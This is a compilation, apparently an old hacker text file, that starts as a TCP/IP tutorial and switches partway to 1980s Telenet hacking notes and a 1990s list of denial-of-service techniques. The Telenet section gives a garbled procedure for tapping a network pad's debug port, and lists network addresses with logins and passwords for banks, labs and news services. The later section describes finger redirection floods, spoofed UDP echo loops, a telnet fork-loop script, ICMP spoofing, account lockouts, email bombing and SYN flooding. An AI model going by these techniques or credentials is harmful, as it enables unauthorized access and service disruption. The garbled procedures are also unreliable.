destination Ethernet address, and a type code.\nEach machine is supposed to pay attention only to packets with its own\nEthernet address in the destination field. (It's perfectly possible\nto cheat, which is one reason that Ethernet communications are not\nterribly secure.) Note that there is no connection between the\nEthernet address and the Internet address. Each machine has to have a\n(We will describe how this table is constructed a bit later.) In\ncode is to allow for several different protocol families to be used on\nthe same network. So you can use TCP\/IP, DECnet, Xerox NS, etc. at\nthe same time. Each of them will put a different value in the type\nfield. Finally, there is a checksum. The Ethernet controller\ncomputes a checksum of the entire packet. When the other end receives\nthe packet, it recomputes the checksum, and throws the packet away if\nthe answer disagrees with the original. The checksum is put on the\nend of the packet, not in the header. The final result is that your\nmessage looks like this:\n\n11\n\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| Ethernet destination address (first 32 bits) |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| Ethernet dest (last 16 bits) |Ethernet source (first 16 bits)|\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| Ethernet source address (last 32 bits) |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| Type code |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| |\n...\n| |\n| end of your data |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| Ethernet Checksum |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\nIf we represent the Ethernet header with \"E\", and the Ethernet\nchecksum with \"C\", your file now looks like this:\n\nEIT....C EIT....C EIT....C EIT....C EIT....C\n\nWhen these packets are received by the other end, of course all the\nheaders are removed. The Ethernet interface removes the Ethernet\nheader and the checksum. It looks at the type code. Since the type\ncode is the one assigned to IP, the Ethernet device driver passes the\ndatagram up to IP. IP removes the IP header. It looks at the IP\nprotocol field. Since the protocol type is TCP, it passes the\ndatagram up to TCP. TCP now looks at the sequence number. It uses\nthe sequence numbers and other information to combine all the\ndatagrams into the original file.\n\nThe ends our initial summary of TCP\/IP. There are still some crucial\nconcepts we haven't gotten to, so we'll now go back and add details in\nseveral areas. (For detailed descriptions of the items discussed here\nsee, RFC 793 for TCP, RFC 791 for IP, and RFC's 894 and 826 for\nsending IP over Ethernet.)\n\n3. Well-known sockets and the applications layer\n\nSo far, we have described how a stream of data is broken up into\ndatagrams, sent to another computer, and put back together. However\nsomething more is needed in order to accomplish anything useful.\nThere has to be a way for you to open a connection to a specified\ncomputer, log into it, tell it what file you want, and control the\ntransmission of the file. (If you have a different application in\nmind, e.g. computer mail, some analogous protocol is needed.) This is\ndone by \"application protocols\". The application protocols run \"on\ntop\" of TCP\/IP. That is, when they want to send a message, they give\nthe message to TCP. TCP makes sure it gets delivered to the other\nend. Because TCP and IP take care of all the networking details, the\n12\n\napplications protocols can treat a network connection as if it were a\nsimple byte stream, like a terminal or phone line.\n\nBefore going into more details about applications programs, we have to\ndescribe how you find an application. Suppose you want to send a file\nto a computer whose Internet address is 128.6.4.7. To start the\nprocess, you need more than just the Internet address. You have to\nconnect to the FTP server at the other end. In general, network\nprograms are specialized for a specific set of tasks. Most systems\nhave separate programs to handle file transfers, remote terminal\nlogins, mail, etc. When you connect to 128.6.4.7, you have to specify\nthat you want to talk to the FTP server. This is done by having\n\"well-known sockets\" for each server. Recall that TCP uses port\nnumbers to keep track of individual conversations. User programs\nnormally use more or less random port numbers. However specific port\nnumbers are assigned to the programs that sit waiting for requests.\nFor example, if you want to send a file, you will start a program\ncalled \"ftp\". It will open a connection using some random number, say\n1234, for the port number on its end. However it will specify port\nnumber 21 for the other end. This is the official port number for the\nFTP server. Note that there are two different programs involved. You\nrun ftp on your side. This is a program designed to accept commands\nfrom your terminal and pass them on to the other end. The program\nthat you talk to on the other machine is the FTP server. It is\ndesigned to accept commands from the network connection, rather than\nan interactive terminal. There is no need for your program to use a\nwell-known socket number for itself. Nobody is trying to find it.\nHowever the servers have to have well-known numbers, so that people\ncan open connections to them and start sending them commands. The\nofficial port numbers for each program are given in \"Assigned\nNumbers\".\n\nNote that a connection is actually described by a set of 4 numbers:\nthe Internet address at each end, and the TCP port number at each end.\nEvery datagram has all four of those numbers in it. (The Internet\naddresses are in the IP header, and the TCP port numbers are in the\nTCP header.) In order to keep things straight, no two connections can\nhave the same set of numbers. However it is enough for any one number\nto be different. For example, it is perfectly possible for two\ndifferent users on a machine to be sending files to the same other\nmachine. This could result in connections with the following\nparameters:\n\nconnection 1 128.6.4.194, 128.6.4.7 1234, 21\nconnection 2 128.6.4.194, 128.6.4.7 1235, 21\n\nSince the same machines are involved, the Internet addresses are the\nsame. Since they are both doing file transfers, one end of the\nconnection involves the well-known port number for FTP. The only\nthing that differs is the port number for the program that the users\nare running. That's enough of a difference. Generally, at least one\nend of the connection asks the network software to assign it a port\nnumber that is guaranteed to be unique. Normally, it's the user's\nend, since the server has to use a well-known number.\n13\n\nNow that we know how to open connections, let's get back to the\napplications programs. As mentioned earlier, once TCP has opened a\nconnection, we have something that might as well be a simple wire.\nAll the hard parts are handled by TCP and IP. However we still need\nsome agreement as to what we send over this connection. In effect\nthis is simply an agreement on what set of commands the application\nwill understand, and the format in which they are to be sent.\nGenerally, what is sent is a combination of commands and data. They\nuse context to differentiate. For example, the mail protocol works\nlike this: Your mail program opens a connection to the mail server at\nthe other end. Your program gives it your machine's name, the sender\nof the message, and the recipients you want it sent to. It then sends\na command saying that it is starting the message. At that point, the\nother end stops treating what it sees as commands, and starts\naccepting the message. Your end then starts sending the text of the\nmessage. At the end of the message, a special mark is sent (a dot in\nthe first column). After that, both ends understand that your program\nis again sending commands. This is the simplest way to do things, and\nthe one that most applications use.\n\nFile transfer is somewhat more complex. The file transfer protocol\ninvolves two different connections. It starts out just like mail.\nThe user's program sends commands like \"log me in as this user\", \"here\nis my password\", \"send me the file with this name\". However once the\ncommand to send data is sent, a second connection is opened for the\ndata itself. It would certainly be possible to send the data on the\nsame connection, as mail does. However file transfers often take a\nlong time. The designers of the file transfer protocol wanted to\nallow the user to continue issuing commands while the transfer is\ngoing on. For example, the user might make an inquiry, or he might\nabort the transfer. Thus the designers felt it was best to use a\nseparate connection for the data and leave the original command\nconnection for commands. (It is also possible to open command\nconnections to two different computers, and tell them to send a file\nfrom one to the other. In that case, the data couldn't go over the\ncommand connection.)\n\nRemote terminal connections use another mechanism still. For remote\nlogins, there is just one connection. It normally sends data. When\nit is necessary to send a command (e.g. to set the terminal type or to\nchange some mode), a special character is used to indicate that the\nnext character is a command. If the user happens to type that special\ncharacter as data, two of them are sent.\n\nWe are not going to describe the application protocols in detail in\nthis document. It's better to read the RFC's yourself. However there\nare a couple of common conventions used by applications that will be\ndescribed here. First, the common network representation: TCP\/IP is\nintended to be usable on any computer. Unfortunately, not all\ncomputers agree on how data is represented. There are differences in\ncharacter codes (ASCII vs. EBCDIC), in end of line conventions\n(carriage return, line feed, or a representation using counts), and in\nwhether terminals expect characters to be sent individually or a line\nat a time. In order to allow computers of different kinds to\ncommunicate, each applications protocol defines a standard\n14\n\nrepresentation. Note that TCP and IP do not care about the\nrepresentation. TCP simply sends octets. However the programs at\nboth ends have to agree on how the octets are to be interpreted. The\nRFC for each application specifies the standard representation for\nthat application. Normally it is \"net ASCII\". This uses ASCII\ncharacters, with end of line denoted by a carriage return followed by\na line feed. For remote login, there is also a definition of a\n\"standard terminal\", which turns out to be a half-duplex terminal with\nechoing happening on the local machine. Most applications also make\nprovisions for the two computers to agree on other representations\nthat they may find more convenient. For example, PDP-10's have 36-bit\nwords. There is a way that two PDP-10's can agree to send a 36-bit\nbinary file. Similarly, two systems that prefer full-duplex terminal\nconversations can agree on that. However each application has a\nstandard representation, which every machine must support.\n\n3.1 An example application: SMTP\n\nIn order to give a bit better idea what is involved in the application\nprotocols, I'm going to show an example of SMTP, which is the mail\nprotocol. (SMTP is \"simple mail transfer protocol.) We assume that a\ncomputer called TOPAZ.RUTGERS.EDU wants to send the following message.\n\nDate: Sat, 27 Jun 87 13:26:31 EDT\nFrom: hedrick@topaz.rutgers.edu\nTo: levy@red.rutgers.edu\nSubject: meeting\n\nLet's get together Monday at 1pm.\n\nFirst, note that the format of the message itself is described by an\nInternet standard (RFC 822). The standard specifies the fact that the\nmessage must be transmitted as net ASCII (i.e. it must be ASCII, with\ncarriage return\/linefeed to delimit lines). It also describes the\ngeneral structure, as a group of header lines, then a blank line, and\nthen the body of the message. Finally, it describes the syntax of the\nheader lines in detail. Generally they consist of a keyword and then\na value.\n\nNote that the addressee is indicated as LEVY@RED.RUTGERS.EDU.\nInitially, addresses were simply \"person at machine\". However recent\nstandards have made things more flexible. There are now provisions\nfor systems to handle other systems' mail. This can allow automatic\nforwarding on behalf of computers not connected to the Internet. It\ncan be used to direct mail for a number of systems to one central mail\nserver. Indeed there is no requirement that an actual computer by the\nname of RED.RUTGERS.EDU even exist. The name servers could be set up\nso that you mail to department names, and each department's mail is\nrouted automatically to an appropriate computer. It is also possible\nthat the part before the @ is something other than a user name. It is\npossible for programs to be set up to process mail. There are also\nprovisions to handle mailing lists, and generic names such as\n15\n\n\"postmaster\" or \"operator\".\n\nThe way the message is to be sent to another system is described by\nRFC's 821 and 974. The program that is going to be doing the sending\nasks the name server several queries to determine where to route the\nmessage. The first query is to find out which machines handle mail\nfor the name RED.RUTGERS.EDU. In this case, the server replies that\nRED.RUTGERS.EDU handles its own mail. The program then asks for the\naddress of RED.RUTGERS.EDU, which is 128.6.4.2. Then the mail program\nopens a TCP connection to port 25 on 128.6.4.2. Port 25 is the\nwell-known socket used for receiving mail. Once this connection is\nestablished, the mail program starts sending commands. Here is a\ntypical conversation. Each line is labelled as to whether it is from\nTOPAZ or RED. Note that TOPAZ initiated the connection:\n\nRED 220 RED.RUTGERS.EDU SMTP Service at 29 Jun 87 05:17:18 EDT\nTOPAZ HELO topaz.rutgers.edu\nRED 250 RED.RUTGERS.EDU - Hello, TOPAZ.RUTGERS.EDU\nTOPAZ MAIL From:<hedrick@topaz.rutgers.edu>\nRED 250 MAIL accepted\nTOPAZ RCPT To:<levy@red.rutgers.edu>\nRED 250 Recipient accepted\nTOPAZ DATA\nRED 354 Start mail input; end with <CRLF>.<CRLF>\nTOPAZ Date: Sat, 27 Jun 87 13:26:31 EDT\nTOPAZ From: hedrick@topaz.rutgers.edu\nTOPAZ To: levy@red.rutgers.edu\nTOPAZ Subject: meeting\nTOPAZ\nTOPAZ Let's get together Monday at 1pm.\nTOPAZ .\nRED 250 OK\nTOPAZ QUIT\nRED 221 RED.RUTGERS.EDU Service closing transmission channel\n\nFirst, note that commands all use normal text. This is typical of the\nInternet standards. Many of the protocols use standard ASCII\ncommands. This makes it easy to watch what is going on and to\ndiagnose problems. For example, the mail program keeps a log of each\nconversation. If something goes wrong, the log file can simply be\nmailed to the postmaster. Since it is normal text, he can see what\nwas going on. It also allows a human to interact directly with the\nmail server, for testing. (Some newer protocols are complex enough\nthat this is not practical. The commands would have to have a syntax\nthat would require a significant parser. Thus there is a tendency for\nnewer protocols to use binary formats. Generally they are structured\nlike C or Pascal record structures.) Second, note that the responses\nall begin with numbers. This is also typical of Internet protocols.\nThe allowable respons\n\n2. Part 2:\n\nTelnet:\n\nTelenet The Secret Exposed...\n\nFor years, people and myself, have offtend tried to\"work telenet unto a coma\"..\nWith no success, for the past few years, i have gathered data, and finally\nknow the system, its faults, capabilities, and errors.\nThis really should be in a text file, but. i wish this information to\nbe reserved for the few users on this system.\n\nbefore i start, here are a few basic commands to get famialir with:\n\nExecution syntax of command function\n------------------------------------------------------------------------\n\nConnect c (sp) Connects to a host (opt)\n\nStatus stat Displays network port add\n\nFull-Duplex full network echo\n\nHalf-Duplex half Termnial echo\n\nMail\nor\nTelemail mail telemail telemail\n\nset Parmaters set (sp) 2:0,3:2 Select Pad Parameters\n\nParamaters set?(sp)2:0,3:2\n\nescape escape from data modew\n\nFile Trasnfer dtape Prepares network for bulk\n\ncontinue cont\n\ndisconnect bye or d\n\nhang up hangup\n\nterminial term(sp)d1 Set TERM\n\ntest\n\ntest(sp)char\n\ntest(sp)echo\n\ntest(sp)triangle\n\nthis is the end of the commands, view next msg for useage:\n\nTrap and pipe x.25 prot. (telenet)...\n\nPlease note this is a very difficult transaction... The following\nflow chart, will only work on a machine with atleast 10 Mhz..\nHowever, an account on a unix, with cu capabilities will also work..\n\nPackage networking, is exactly what it means..\nbefore, i go into detail, let me give you and over view...\n\n-------------\nHost\n-------------\n!\n!\n!\n!\n-----------------\ntelenet, remote\n$divertor, and pacakge. ------------------ ! ! --------------------- ! ! ! ! ! ! ! ! u u u u s s s s e e e e r r r r s s s s If you notice carefully, there is online to the host and 4 users. That is how its packaged, for instance the first 100 mills. will be from user on then two etc.. The way telenet can tell which is user is which, is simply by the time. Time is of the essense. data is constantly been packed, anywhere from 100 mils. to 760 mils. The trick to trap tapping and piping, a lead off of telenet, is to have as system running four proccewss and the same time, and have a master prgm. that switch's at the appropriate delays... As you can see this is where a 10 Mhz + system, is needed. On the host end. The host end consists of three things.. 1) 9600 baud modem 2) a dedicated telcue line 3) a network pad.. I doubt know one needs a lesson on the first two, but lets take a look at telenets, \"weakest\" link.. Network Pad ---------- There are three types of network pads a 4 pad 12 pad and 32 pad They really do not make a diffrence, it only changes the amount of users, capable of using on line.. example. if you have a 4 network pad. you system will be able to handle four users from telenet etc... The network pad is Such a piece of\"**** you have know idea.. All parameters are set remotly by a telenet eng.. This is important... If the pad is every shutoff all parameters are lost.. and an eng. must reload the pad.. (again, this is done remotly) to give you a small ifea, of$the amount of programing in thms pad (which\ni might add has over 2 megs of internal RAM) for an eng. to upload it ct\n9600 bps.. it took approx 38 mins.\n\nThe Pad is not a computer, if ytou think about it though, if your\ntraveling at 1200 on telenet, your actually travling at 9600 and back to\n1200.. when x.25 is unpacked..\n\nHow is the pad set remotly..\n\nlets take an example...\n\nc 2122\n\nnow c 2122 \/(?this is an example)\n\nha four nodes its a siml divester to the next node. however you can\nspecify, the node you want\n\nc\"212.01\nc 212.02\netc....\n\nnodes can also\"be stated as 2122a is the same as \"2122.01\nand 2122.03 is the same as 2122c\n\nNow that we know how to access the indiv. nodes. let me show you a small\nsecret...\n\nit always ends in 99\n\nso, if i wanted to trap and tap c 2122\n\ni would enter c 2122.99\n\nyou would get a connected.. but is you notice nothin happens..\n\nat this point do not touch any keys.. a wrong key stroke, will\n(dont forget, all network pads have a direct alarm signle.. so follow my\ndirections to the t...\n\nenter in :\n\nwith out a return.. you should get telenet\n\nif you dont give it a min. then hit return. your actually there. but the\nprompt, just didnt print.. ok..\n\nNow type\n\nset 15:0\n\nwhen entered.. hold 15 secs.. for a time delay..\n\nthen type in cont\n\nto continue, with the host you brokg from.....\n\nyou will get a message:\n\nTP3005 DEBUG PORT V5.37.03\n>\n\nHowever\nsuperman\nrepreseting a male tech.\nand\n$wonderwomen repre. a woman tech.. when in your prompt is always a greater than sign: > type the following: 7FDS HIT RETURN youll get a responce:$ E 01\n\nNOW TYPE IN:\nL7FE,L,A2,R2,D\n\nthen youll get a message: R 00A626 8805\n\nnow enter ing: 40588\n\nYOUR RESPONCE WILL BE : E 01\n\nright now you should open at least a 640K buffer.....\n\nnow type in > R0589\n\nYOU'LL GET A WHOLE LIST OF DATA THAT IS CURRENTLY CROSSING THE PADS\nDUPLEX.\nONE LINE WILL LOOK LIKE THIS:\n\nR 00A625 06805FF17068703 1287100230050540 0000000000000000 FF020101000000\n\n\u00fe\"&]%%+f! ! )19AIQYai\n\n\u00ffIt seems that not many of you know that Telenet is connected to about 80\ncomputer-networks in the world. No, I don't mean 80 nodes, but 80 networks\nwith thousands of unprotected computers. When you call your local Telenet-\ngateway, you can only call those computers which accept reverse-charging-calls.\nIf you want to call computers in foreign countries or computers in USA which\ndo not accept R-calls, you need a Telenet-ID. Did you ever notice that you can\ntype ID XXXX when being connected to Telenet? You are then asked for the\npassword. If you have such a NUI (Network-User-ID) you can call nearly every\nhost connected to any computer-network in the world. Here are some examples:\n026245400090184 is a VAX in Germany (Username: DATEXP and leave mail for\nCHRIS !!!)\n0311050500061 is the Los Alamos Integrated computing network (One of the\nhosts connected to it is the DNA (Defense Nuclear Agency)!!!)\n0530197000016 is a BBS in New Zealand\n024050256 is the S-E-Bank in Stockholm, Sweden (Login as GAMES !!!)\n02284681140541 CERN in Geneva in Switzerland (one of the biggest nuclear\nresearch centers in the world) Login as GUEST\n0234212301161 A Videotex-standard system. Type OPTEL to get in and\nuse the ID 999_ with the password 9_\n0242211000001 University of Oslo in Norway (Type LOGIN 17,17 to play\nthe Multi-User-Dungeon !)\n0425130000215 Something like ITT Dialcom, but this one is in Israel !\nID HELP with password HELP works fine with security level 3\n0310600584401 is the Washington Post News Service via Tymnet (Yes, Tymnet\nis connected to Telenet, too !) ID and Password is: PETER\nYou can read the news of the next day !\n\nThe prefixes are as follows:\n02624 is Datex-P in Germany\n02342 is PSS in England\n03110 is Telenet in USA\n03106 is Tymnet in USA\n02405 is Telepak in Sweden\n04251 is Isranet in Israel\n02080 is Transpac in France\n02284 is Telepac in Switzerland\n02724 is Eirpac in Ireland\n02704 is Luxpac in Luxembourg\n05252 is Telepac in Singapore\n04408 is Venus-P in Japan\n...and so on... Some of the countries have more than one packet-switching-\nnetwork (USA has 11, Canada has 3, etc).\n\nOK. That should be enough for the moment. As you see most of the passwords\nare very simple. This is because they must not have any fear of hackers. Only\na few German hackers use these networks. Most of the computers are absolutely\neasy to hack !!!\nSo, try to find out some Telenet-ID's and leave them here. If you need more\nnumbers, leave e-mail.\nI'm calling from Germany via the German Datex-P network, which is similar to\nTelenet. We have a lot of those NUI's for the German network, but none for\na special Tymnet-outdial-computer in USA, which connects me to any phone #.\n\nPS: Call 026245621040000 and type ID INF300 with password DATACOM to get more\nInformations on packet-switching-networks !\n\nPS2: The new password for the Washington Post is KING !!!!\n\nDistributed in part by:\n\nSkeleton Crue xxx-xxx-xxxx located out of Moraga, California.\n!!Get on the band wagon before it RUNS YOU DOWN!!\nThe very LAST bastion of Abusive Thought in all of the Suburbian West Coast...\n(CH&AOS)\n\nMore Telnet information: :\n\nThe Basics of TELENET\nPart I\n\nThis Bulletin is the first in a series to cover the general procedures of the\nmajor data networks:\n\nTelenet\nTymnet\nAutonet\nArpanet\n\nBACKGROUND\n----------\nTelenet connects many large computers to itself through dedicated telephone\nlines, each of these 'host computers' is assigned a node address(ie.:NPAxx).\nTelenet is an international data network, connecting to computers around the\nworld.See the International telenet bulletin for more on this.\n\nCONNECTING\n----------\nTelenet is probably the most 'user friendly' network of the four listed. A\nnormal logon looks like this: [NPA=Area code,xx=node address] You hit <CR>\n<CR> [2 Returns] Telenet respnds with:TELENET NPAxx\n\nTERMINAL=(Here you type your terminal identifier) (See the bulletin section for\nthe list)\n\n@\n\nThe '@' is Telenet's promt to you to go ahead.\n\nThings to do on telenet\n-----------------------\nTo connect to a node type:\n@C NPAxx\nTelenet will atempt to connect to the computer at the node given.\nA few of the things that Telenet will say are:\n\nNPAxx CONNECTED (You are connected to a computer)\nILLEGAL ADDRESS (Not a working node)\nNPAxx NOT REACHABLE (The computer at that node is 'DOWN')\nNPAxx REFUSED COLLECT CONNECTION(Needs a paid ID [More later]\nNPAxx REJECTING (Computer is 'UP' but not available)\nNPAxx NOT RESPONDING (The computer at that node is 'DOWN')\n\nThese are most of the things that Telenet will tell you\n\nMORE THINGS TO DO\n-----------------\nTyping an @ while in a host computer will return you to Telenet You will\nstill be connected to the other computer, you may: D (to disconnect from that\ncomputer) or TAPE (Unknown, possibly records your actions so that) (you may\nlook at them later)\n\nIf you type either of the above, while not connected to a node telenet will\nrespond with NOT CONNECTED\n\nMISC.\n-----\nRESET (Returns Telenet to the beggining,you must start again (with the\n<CR><CR>)\n\nSET (Unknown)\n\nMAIL (To connect to GTE Telemail) It will ask for User? and Password?\n\nNOTES\n-----\n\nIn addition to the normal area codes in NPAxx there are also other NPA's used\nin Telenet, 909 and 311, for instance.\n\nTelenet hangs up after three disconnections from host computers, this\nunfortunately is quite a PAIN in the ___ There is no way to get around this as\nfar as I can tell.\n\nThe ID command in Telenet is to Identify users to the host computers. You\ntell you that your ID is cleared, which means nothing. To recieve a paid user\nID on telenet call them at: Telenet customer service:800-336-0437 800-572-\n0408(In Virginia)\n\nHACKING\n-------\nTelenet is very convinient for hackers as it connects many computers to your\nterminal, without having to find and dial many numbers. Start your Telehacking\nby picking an areacode and then trying all the nodes in that NPA. You will no\ndoubt find many interesting computers 'to work on'.\n\nHere are instructions for using TELENET. There are some very basic things,\nwhich most people already know, and some other things, which even the most\ndedicated hackers have probably never even heard of. This includes things such\nas international access, etc. Well, have fun.\n\nTHE TELENET CONNECTION\n\n---------------------------- Data Network\n| Identification Code (DNIC)\n|\n|\n|\n| ------------------- Area Code\n| |\n| |\n| | |\n| | | ----- Port Address\n| | | |\n| | | |\nDDDD AAA HHHHH PP\n|\nField for Packet Mode DTE\n\nExample: Telenet International\n------- -------------\n212 141 3110 21200141\n909 84 3110 90900084\n\n1. Turn on the terminal and coupler.\n2. Dial the nearest Telenet access number (See Telenet Public Dial listing).\nWhen you hear a high-pitched tone, place the telephone\n\nFor Data Sets (Bell 103 or 113 type), depress the data button.\n\n3. Type Two carriage returns (CR).\n4. Telenet will give you a port identification number and ask you\nto identify your terminal type in the two or four\ncharacter id for your terminal followed by a carriage\nreturn (CR) or type carriage return (CR).\n\n(EX.) TELENET\n202 DL9\nTERMINAL = AJ63(CR)\n\n5. After Telenet prompts with a '@' type 'ID', skip a space (SP)\nyour GTE Telenet Representative to obtain a required caller\npaid ID.)\n\n(EX.) @ID(SP);INTL(CR)\n\n6. After Telenet prompts with an @, type a C. skip a space and\ntype the network address of the computer you wish to access,\nfollowed by a carriage return (CR).\n\n(EX.) @C(SP)023411234567890(CR)\n\n020801234567890 for France\/Transpac\n023421234567890 for United Kingdom\/British Telecom\n026241234567890 for Germany\/Datex-P\n\n7. Telenet will respond with a connection message. You are now\n\n8. To disconnect from your computer, log off as usual. Telenet\nwill send you a disconnected message.\n\nHang up to disconnect from Telenet.\n\n(CR) = Carriage return\n(SP) = Space\n\n___________________________________________________________________________\n\nFinger:\n\nATTACKING FROM THE OUTSIDE\nby http:\/\/www.student.tdb.uu.se\/~t95hhu...e\/outside.html\n\nMost fingerd installations support redirections to another host.\n\nEx: $finger @system.two.com@system.one.com finger will in the example go through system.one.com and on to system.two.com. As far as system.two.com knows it is system.one.com who is fingering. So this method can be used for hiding, but also for a very dirty denial of service attack. Lock at this:$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack\n\nAll those @ signs will get finger to finger host.we.attack again and again and again... The\neffect on host.we.attack is powerful and the result is high bandwidth, short free memory and a\nhard disk with less free space, due to all child processes.\n\nThe solution is to install a fingerd which don't support redirections, for example GNU finger.\nYou could also turn the finger service off.\n\nUDP AND SUNOS 4.1.3.\n\nSunOS 4.1.3. is known to boot if a packet with incorrect information in the header is sent to\nit. This is the cause if the ip_options indicate a wrong size of the packet.\n\nThe solution is to install the proper patch.\n\nFREEZING UP X-WINDOWS\n\nIf a host accepts a telnet session to the X-Windows port (generally somewhere between 6000 and\n6025. In most cases 6000) could that be used to freeze up the X-Windows system. This can be\nmade with multiple telnet connections to the port or with a program which sends multiple\nXOpenDisplay() to the port.\n\nThe same thing can happen to Motif or Open Windows.\n\nThe solution is to deny connections to the X-Windows port.\n\nMALICIOUS USE OF UDP SERVICES\n\nIt is simple to get UDP services (echo, time, daytime, chargen) to loop, due to trivial\nIP-spoofing. The effect can be high bandwidth that causes the network to become useless. In the\nexample the header claim that the packet came from 127.0.0.1 (loopback) and the target is the\necho port at system.we.attack. As far as system.we.attack knows is 127.0.0.1 system.we.attack\nand the loop has been establish.\n\nEx: from-IP=127.0.0.1\n\nto-IP=system.we.attack\n\nPacket type:UDP\n\nfrom UDP port 7\n\nto UDP port 7\n\nNote that the name system.we.attack looks like a DNS-name, but the target should always be\nrepresented by the IP-number.\n\nQuoted from proberts@clark.net (Paul D. Robertson) comment on comp.security.firewalls on matter\nof \"Introduction to denial of service\" A great deal of systems don't put loopback on the wire,\nand simply emulate it. Therefore, this attack will only effect that machine in some cases. It's\nmuch better to use the address of a different machine on the same network. Again, the default\nservices should be disabled in inetd.conf. Other than some hacks for mainframe IP stacks that\ndon't support ICMP, the echo service isn't used by many legitimate programs, and TCP echo\nshould be used instead of UDP where it is necessary.\n\nATTACKING WITH LYNX CLIENTS\n\nA World Wide Web server will fork an httpd process as a respond to a request from a client,\ntypical Netscape or Mosaic. The process lasts for less than one second and the load will\ntherefore never show up if someone uses ps. In most causes it is therefore very safe to launch\na denial of service attack that makes use of multiple W3 clients, typical lynx clients.\nBut note that the netstat command can be used to detect the attack (thanks to Paul D. Robertson).\n\nSome httpd:s (for example some http-gw) will have problems besides the normal high bandwidth,\nlow memory... And the attack can in those causes get the server to loop.\n\nMALICIOUS USE OF telnet\n\nStudy this little script:\n\nEx: while : ; do\n\ntelnet system.we.attack &\n\ndone\n\nAn attack using this script might eat some bandwidth, but it is nothing compared to the finger\nmethod or most other methods. Well the point is that some pretty firewalls and httpd:s thinks\nthat the attack is a loop and turn them self down, until the administrator sends kill -HUP.\n\nThis is a simple high risk vulnerability that should be checked and if present fixed.\n\nMALICIOUS USE OF telnet UNDER SOLARIS 2.4\n\nIf the attacker makes a telnet connections to the Solaris 2.4 host and quits using:\n\nEx: Control-}\n\nquit\n\nthen will inetd keep going \"forever\". Well a couple of hundred...\n\nThe solution is to install the proper patch.\n\nHOW TO DISABLE ACCOUNTS\n\nSome systems disable an account after N number of bad logins, or waits N seconds. You can use\nthis feature to lock out specific users from the system.\n\nLINUX AND TCP TIME, DAYTIME\n\nInetd under Linux is known to crash if to many SYN packets sends to daytime (port 13)\nand\/or time (port 37).\n\nThe solution is to install the proper patch.\n\nHOW TO DISABLE SERVICES\n\nMost Unix systems disable a service after that N sessions have been open in a given time.\nWell most systems have a reasonable default (lets say 800 - 1000), but not some SunOS systems\nthat have the default set to 48...\n\nThe solutions is to set the number to something reasonable.\n\nPARAGON OS BETA R1.4\n\nParagon is Intels supercomputer platform built for high performance scientific and technical\ncomputing. If someone redirects an ICMP (Internet Control Message Protocol) packet to a paragon\nOS beta R1.4 will the machine freeze up and must be rebooted. An ICMP redirect tells the system\nto override routing tables. Routers use this to tell the host that it is sending to the wrong\nrouter.\n\nThe solution is to install the proper patch.\n\nNOVELLS NETWARE FTP\n\nNovells Netware FTP server is known to get short of memory if multiple ftp sessions connects\nto it, causing it to crash. About 5 at a time - 100 sessions total within a short period of\ntime, could do the trick.\n\nICMP ATTACKS\n\nGateways uses ICMP redirect to tell the system to override routing tables, that is telling the\nsystem to take a better way. To be able to misuse ICMP redirection we must know an existing\nconnection If we have found a connection we can send a route that loses it connectivity or we\ncould send false messages to the host.\n\nOne could also send spoofed ICMP Source Quench messages, this could slow down the conncection.\n\nEx: (false messages to send)\n\nDESTINATION UNREACHABLE\nTIME TO LIVE EXCEEDED\nPARAMETER PROBLEM\nPACKET TOO BIG\n\nThe effect of such messages is a reset of the connection.\n\nThe solution could be to turn ICMP redirects off, not much proper use of the service.\n\nThis is a very popular method in networks there all of the hosts are acting as gateways.\n\nThere are many versions of the attack, but the basic method is to send a lot of packets to all\nhosts in the network with a destination that don't exist. Each host will try to forward each\npacket so the packets will bounce around for a long time. And if new packets keep coming the\nnetwork will soon be in trouble.\n\nServices that can be misused as tools in this kind of attack is for example ping, finger and\nsendmail. But most services can be misused in some way or another.\n\nEMAIL BOMBING AND SPAMMING\n\nIn a email bombing attack the attacker will repeatedly send identical email messages to an\naddress. The effect on the target is high bandwidth, a hard disk with less space and so on...\nEmail spamming is about sending mail to all (or rather many) of the users of a system. The point\nof using spamming instead of bombing is that some users will try to send a replay and\nif the address is false will the mail bounce back. In that cause have one mail transformed to\nthree mails. The effect on the bandwidth is obvious.\n\nTIME AND KERBEROS\n\nIf not the the source and target machine is closely aligned will the ticket be rejected, that\nmeans that if not the protocol that set the time is protected it will be possible to set a\nkerberos server off function.\n\nSUNOS KERNEL PANIC\n\nSome SunOS systems (running TIS?) will get a kernel panic if a getsockopt() is done after\nthat a connection has been reset.\n\nHOSTILE APPLETS\n\nA hostile applet is any applet that attempts to use your system in an inappropriate manner.\nThe problems in the java language could be sorted in two main groups:\n\n1) Problems due to bugs.\n\n2) Problems due to features in the language.\n\nIn group one we have for example the java bytecode verifier bug, which makes is possible for\nan applet to execute any command that the user can execute.\n\nNote that two other bugs could be found in group one, but they are both fixed in Netscape 2.01\nand JDK 1.0.1.\n\nGroup two are more interesting and one large problem found is the fact that java can connect\nto the ports. Meaning that all the methods described in .C.X. can be performed by an applet.\n\nIf you need a high level of security you should use some sort of firewall for protection against\njava. As a user you could have java disable.\n\nANONYMOUS FTP ABUSE\n\nIf an anonymous FTP archive have a writable area it could be misused for a denial of service\nattack similar with with .D.3. That is we can fill up the file system.\n\nAlso can a host get temporarily unusable by massive numbers of FTP requests.\n\nSYN FLOODING\n\nBoth 2600 and Phrack have posted information about the syn flooding attack. 2600 have also\nposted exploit code for the attack.\n\nAs we know the syn packet is used in the 3-way handshake. The syn flooding attack is based on\nan incomplete handshake. That is the attacker host will send a flood of syn packet but will not\nrespond with an ACK packet. The TCP\/IP stack will wait a certain amount of time before dropping\nthe connection, a syn flooding attack will 